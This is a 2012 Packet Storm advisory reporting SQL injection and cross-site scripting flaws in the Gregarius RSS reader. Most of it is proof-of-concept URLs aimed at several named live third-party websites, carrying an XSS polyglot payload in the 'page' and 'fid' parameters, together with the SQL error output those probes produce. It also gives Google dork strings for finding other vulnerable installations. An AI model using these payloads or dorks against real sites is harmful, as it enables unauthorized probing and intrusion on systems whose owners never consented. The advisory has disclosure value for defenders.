Gregarius 0.x.x Cross Site Scripting / SQL Injection

2012-01-09T00:00:00
ID PACKETSTORM:108476
Type packetstorm
Reporter Sony
Modified 2012-01-09T00:00:00

Description

                                        
                                            `# Exploit Title: Gregarius 0.x.x SQL Injection/Cross Site Scripting  
# Date: 7.01.2012  
# Author: Sony  
# Software Link: http://www.phpkode.com/projects/item/gregarius/  
# Web Browser : Mozilla Firefox  
# Blog : http://st2tea.blogspot.com  
# PoC:  
http://st2tea.blogspot.com/2012/01/gregarius-0xx-sql-injectioncross-site.html  
..................................................................  
  
Well, when i was looking for xss on the linux-installieren.de i found sql.  
  
We can see : (i want to say that i know little about sql-inj and i don't  
can put "full sql" here, sorry)  
  
  
http://news.linux-installieren.de/LinuxTag:_News/?page=1&media=rss&  
  
http://news.linux-installieren.de/LinuxTag:_News/?page=1[it'shere]&media=rss&  
  
http://news.linux-installieren.de/LinuxTag:_News/?page=1%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&media=rss&  
  
Failed to execute the SQL query  
  
select i.title, c.title, c.id, i.unread, i.url, i.enclosure, i.author,  
i.description, c.icon, unix_timestamp(ifnull(i.pubdate,i.added)) as ts,  
i.pubdate is not null as ispubdate, i.id , null from news_item i inner  
join news_channels c on (c.id = i.cid) inner join news_folders f on (  
f.id = c.parent) where not(i.unread & 8) and not(i.unread & 4) and i.cid  
= 25 and 1=1 order by ts desc, f.position asc, c.position asc , ts desc,  
i.id asc limit 18.88383, 10  
  
Error 1064: You have an error in your SQL syntax; check the manual that  
corresponds to your MySQL server version for the right syntax to use near  
'18.88383, 10' at line 1  
  
It's version Gregarius 0.6.1.  
  
We well see in Google Dorks:  
  
intext:page=1&media=rss&. or intext?page=1&media=atom& or etc..  
  
And we can see some web sites, which use gregarius.  
  
http://news.geocaching-portal.com/Der_Struwwelpod/?page=1[it'shere]&media=rss&.  
http://dobeska.net/rss/?page=1[it's here]&media=rss& (oh, i will write  
later for admin about it)  
  
And we can see 0.5.5 version:  
  
http://www.totustuustools.net/rss/?page=1&media=rss  
  
Well, but i wanted a find xss in the gregarius and i found it. But only in  
another version and with sql too.  
  
http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8[it'shere  
xss with sql]  
  
http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E  
  
http://faustobp.free.fr/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E  
  
http://www.banemacleod.com/lab/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E  
  
Version :Gregarius 0.5.0, Gregarius 0.5.2,Gregarius 0.4.2..  
  
You can see in the Google Dorks:  
inurl:/rss/admin/index.php?domain=  
intitle:Gregarius » Feeds Admin  
etc..  
  
And here we can see again sql.  
  
Error 1064: You have an error in your SQL syntax..  
`